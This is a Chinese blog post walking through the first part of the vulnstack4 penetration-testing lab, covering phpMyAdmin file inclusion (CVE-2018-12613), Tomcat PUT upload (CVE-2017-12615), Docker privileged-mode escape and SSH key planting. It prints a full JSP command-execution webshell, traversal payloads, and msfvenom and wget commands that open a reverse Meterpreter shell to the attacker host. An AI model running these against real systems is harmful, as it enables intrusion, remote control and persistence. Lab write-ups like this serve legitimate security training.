vulnstack4内网渗透靶机实战一

转眼就进入红5月,过了劳动节,我从安天集团实习回到学校,准备期末考试。刚走下紧张而又精彩纷呈的实习工作岗位,真还有那么一阵不适应的恍惚感觉。虽然要期末考试,但相对压力不大,有时间,于是进入了渗透测试实践活动中。
这种挑战性生活还真是刺激。
 
无关于渗透测试实验,但却是我碰到的第一个问题,就是wsl2与VMware的兼容性问题,因为这几个月实习工作运行的都是wsl2。VMware官方说支持hyper-V,需要更高的版本。而且据说性能有严重的问题,cpu占用居高不下拖累主机,我想还是以后解决这个问题,现在就暂时禁用hyper-V吧。
步骤包括禁用Device Guard或Credential Guard,和彻底关闭Hyper-V(仅仅程序与功能中关闭hyper-V还不够,还要彻底关闭)
禁用用于启用Credential Guard的组策略设置。
在主机操作系统上,右键单击“开始” > “运行”,键入gpedit.msc,然后单击“ 确定”。本地组策略编辑器打开。
转至本地计算机策略 > 计算机配置 > 管理模板>系统 >Device Guard(或者是: 设备防护) > 启用基于虚拟化的安全性。
选择已禁用。

以管理员身份运行Windows Powershell (管理员)(我原有Terminal,打开即可)
运行命令
bcdedit /set hypervisorlaunchtype off
重启本机
终于,我又回到VMware了。
这次靶场环境选择红日安全团队搭建的系列靶场的其中之一,具体下载:
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
按其说明,可以进行以下漏洞利用和横向移动攻击:
 
st漏洞利用
phpmyadmin getshell
tomcat 漏洞利用
docker逃逸
ms14-068
ssh密钥利用
流量转发
历史命令信息泄露
域渗透
 
现在开始我的vulnstack之旅吧。

靶场环境

整个靶场环境有3个靶机,模拟从外网到内网的攻击环境。根据我的网络环境,修改ip段为:
靶场环境拓扑图
我在在Vmware中设置两个虚拟网卡桥接、VMnet2。桥接等同宿主机所在局域网网段,IP段为192.168.0.0/24,为外网或公网(模拟);VMnet2为仅主机模式,IP段设为192.168.183.0/24,位于该内网(模拟)网段的所有主机,都不能与外网通信。
kali攻击机模拟外网:192.168.0.114
靶机ubuntu(web)服务器分别运行有apache(2001端口)、Tomcat(2002端口)、phpmyadmin(2003端口),配置两个网卡桥接192.168.0.111和VMnet2的10.1.1.131,分别连接外网和内网;靶机域成员机和DC域控机军win7在内网,与ubuntu(web)内网连接。
注意,按照靶场环境要求,内网处于域demo.com中,以DC机为域控。而靶场设定其处于192.168.183.0/24段,不能更改,因为域成员机的DNS均为192.168.183.130指向DC机,不能更改。如果更改内网ip段,则域无效,会出现报错1355(指定的域不存在,或无法联系)与1233(不能访问网络位置)。于是我只改外网段为桥接即可。
原下载web(ubuntu)环境只开启了22端口:

见说明有docker逃逸问题,再见拓扑图web由三个docker容器组成,所以猜想应该都是docker开启。

docker只有root才能操作,因此必须先切换为root用户。

sudo su  #切换为root用户

 cd /home/ubuntu/Desktop/vulhub

可以试试进入相关目录试试。
根据拓扑图容器端口,靶场描述及docker images,st漏洞利用可以进入struts2,选择str2框架远程代码执行漏洞s2-045;tomcat 漏洞利用进入tomcat,选择CVE-2017-12615(tomcat 任意文件上传漏洞) ;phpmyadmin getshell,进入phpmyadmin,选择CVE-2018-12613(phpMyAdmin远程文件包含漏洞)。
在各个目录分别执行
docker-compose build
docker-compose up -d(可以只用这个命令开启)
全部完成后查看运行容器:

具体操作

第一步信息收集,先nmap 扫描开发端口,寻找可能漏洞

CVE-2018-12613(phpMyAdmin远程文件包含漏洞)复现

在nmap扫描图见2003/tcp open  ,其phpMyAdmin 4.8.1,可能存在远程文件包含漏洞。

CVE-2018-12613。这是一个经典漏洞,虽然版本比较旧了,真实环境中一般不会遇到,但作为技能学习,还是有必要熟悉的。

漏洞详情网上搜索很多,该docker安装版本同样。

实际上,phpmyadmin漏洞一直是渗透测试玩人员关注的重点。想2020年就曾经爆出许多网站的phpmyadmin弱口令漏洞,一时间许多人涌入fodu搜寻相关网站,试图通过phpmyadmin弱口令拿shell练手。

简单进入vulhub/phpmyadmin:4.8.1 容器看看

 index.php中发现

target可以直接传值输入,我们可以传入一个本地文件让其包含,造成漏洞。具体审计可见有检查及白名单过滤,因此$target 里要将“?”二次url编码为%253f ,可绕过检查过滤即“?截断”,如 db_sql.php%253f,db_datadict.php等等都会被认为是一个目录,可以用多级../../跨越,成功实现包含。

访问http://192.168.0.111:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd, 

/etc/passwd被包含读取,说明文件包含漏洞存在。

按sql执行select '<?php phpinfo();?>'

当前页面按F12查找cookie中的phpMyAdmin 值即sessionid值

phpMyAdmin : c3b49a772232fd6796745182953b129c

session文件:sess_c3b49a772232fd6796745182953b129c,一般在/tmp下,

我们可以构建包含Session值的URL路径,

http://192.168.0.111:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_c3b49a772232fd6796745182953b129c

可以成功显示phpinfo()即包含成功。

到此本来可以写如一句话,然后蚁剑连接及拿到shell。但我多次写如入都不能连接,进入容器发现

原写入的<?php @eval($_POST[cmd])?>,只剩下<?php @eval()?>,可能被容器杀灭了吧?在网上找到免杀的webshell,依然不能成功连接。想不通什么原因(与docker环境有关?),就暂时放弃在这里拿shell,更何况我们需要的不只是docker容器而是docker宿主机。

上传漏洞进攻web机

目标Web服务器http://192.168.0.111的2002端口上运行着Tomcat,版本为8.5.19。

Tomcat的漏洞比较出名的有CVE-2017-12615任意文件上传漏洞,攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。

但此漏洞影响范围是Apache Tomcat 7.0.0 – 7.0.79,我们靶机的Tomcat8.5.19版本受不受影响呢?

打开攻击机kali,创建工作目录,用searchsploit 搜索tomcat相关漏洞利用脚本exp:

 发现版本< 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 都存在类似CVE-2017-12615的利用方式。

 复制该exp到工作目录

 42966.py为利用脚本,执行python程序进行利用

 u 参数检查目标Web服务器相关漏洞是否存在

 目标的确存在漏洞,于是上传了测试文件Poc.jsp。

 AAAAAAAA为测试内容。

 然后直接展开攻击拿下目标shell:

而且拿下的shell权限为root.

我们的exp上传了一个websheel文件pwn.jsp。但此shell不太稳定,容易崩溃,不能长期运行命令。于是我们通过目标网页上运行:

 

 即在框中输入命令通过get接收运行,相当于我们上传了一个后门,而且是root权限。

如输入ls

当然,我们还可以采用Tomcat 任意文件上传漏洞(CVE-2017-12615)的经典利用方式,即用burpsuite抓包上传webshell文件。

webshell文件shell.jsp:

<%@ page import="java.util.*,java.io.*,java.net.*"%>
 <%
 %>
 <HTML><BODY>
 <FORM METHOD="POST" NAME="myform" ACTION="">
 <INPUT TYPE="text" NAME="cmd">
 <INPUT TYPE="submit" VALUE="Send">
 </FORM>
 <pre>
 <%
 if (request.getParameter("cmd") != null) {
         out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
         Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
         OutputStream os = p.getOutputStream();
         InputStream in = p.getInputStream();
         DataInputStream dis = new DataInputStream(in);
         String disr = dis.readLine();
         while ( disr != null ) {
                 out.println(disr); disr = dis.readLine(); }
         }
 %>
 </pre>
 </BODY></HTML>

打开http://192.168.0.111:2002/,抓包

 将GET改为PUT,加上上传文件名shell.jsp/,在空白处复制shell.jsp内容.

 上传成功,访问http://192.168.0.111:2002/shell.jsp

 该框同样为后门,权限为root。使用方式与上面相同,都是输入命令即可在网页显示执行结果。

 shell.jsp文件运行在docker容器中

显然,我们需要docker逃逸来获取docker宿主机的shell。

为了方便结合大杀器metasploit使用,我们可以反弹一个shell到kali攻击机为meterpreter:

在攻击机kali上执行生成木马命令:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -f elf > shell.elf

即在攻击机当前目录/root/vulunstack下生成了一个shell.elf木马文件

我们在当前目录下开启一个简单的HTTP服务(默认端口为8000),好上传目标机该反弹马文件。

python -m SimpleHTTPServer

再在http://192.168.0.111:2002/shell.jsp操作上传:

wget http://192.168.0.114:8000/shell.elf

 

 

赋予该shell.elf权限777

chmod 777 shell.elf

然后执行

./shell.elf

打开msfconsole,生成监听payload,开启监听

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set lhost 192.168.0.114   #设置攻击机

set lport 4444 (默认端口4444,无需这条)

run

 

获得了会话session1。

docker逃逸拿下ubuntu

到此为止,我们拿下的shell ,其实都局限于docker容器之内,但我们要求拿下的,是整个宿主机,是完成能够获取所有文件资源,访问控制各个内网外网网卡的权限,进而拿下内网域管理权限等等的渗透任务。

严重安全漏洞(CVE-2019-5736),导致18.09.2版本之前的Docker允许恶意容器覆盖宿主机上的runC二进制文件,由此使攻击者能够以root身份在宿主机上执行任意命令。恶意容器需满足以下两个条件之一: (1)由一个攻击者控制的恶意镜像创建、(2)攻击者具有某已存在容器的写权限,且可通过docker exec进入。

docker逃逸在于启动dcoker时加入危险参数--privileged=ture(特权模式),允许容器内的root拥有外部物理机root权限而不是普通权限,本docker容器启动即为特权模式。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,使用特权模式启动容器,可以获取大量设备文件访问权限。此外还可以通过写入计划任务等方式在宿主机执行命令。

靶场描述中有一个“ssh密钥利用”,应该是利用docker的特权模式来在宿主机硬盘中写入ssh私钥,建立用户实现ssh免密登录宿主机,从而实现对目标宿主机的控制。

ls /dev

 我们建立test目录,将/dev/sda1 挂载到test 目录

mkdir /test
mount /dev/sda1 /test
ls -alh /test

挂载成功,于是访问test就等于访问/dev/sda1 即整个宿主机硬盘,换句话说,我们可以通过访问docker容器内部挂载整个宿主机本地文件的/test,来实现访问整个宿主机的目的。

再看test目录里有.ssh文件

ls -alh /test/home/ubuntu/.ssh/

当前目录本地生成命为hhh的ssh秘钥:

ssh-keygen -f hhh

chmod 600 hhh

 为方便起见,我们写一个key.sh脚本,复制hhh.pub内容:

 

 上传该key.sh到web目标机

chmod 777 key.sh
./key.sh

 ls -alh /test/home/ubuntu/.ssh

写入成功。

攻击者可以利用自己的私钥(这里hhh)免密登陆目标机。

到此拿到了目标机的shell:

 然后我们上传shell.elf到目标机ubuntu上下载,对,就是原来上传到docker容器Apache Tomcat 即192.168.0.111:2002的那个,同样可以反弹得到整个web目标机的会话meterpreter(以前我们得到的只在2002docker容器内部的反弹meterpreter)。

方法就在刚才我们对2002docker容器内部的反弹监听,需要先执行

set AuotRunScript migrate -f 来迁移原来容器的进程到容器外整个宿主机ubuntu:

 现在我们已经可以渗透进内网。

太晚了,信息一下,明天再攻入内网。

posted on 2021-06-02 12:42  miraitowa666  阅读(1445)  评论(0编辑  收藏  举报

导航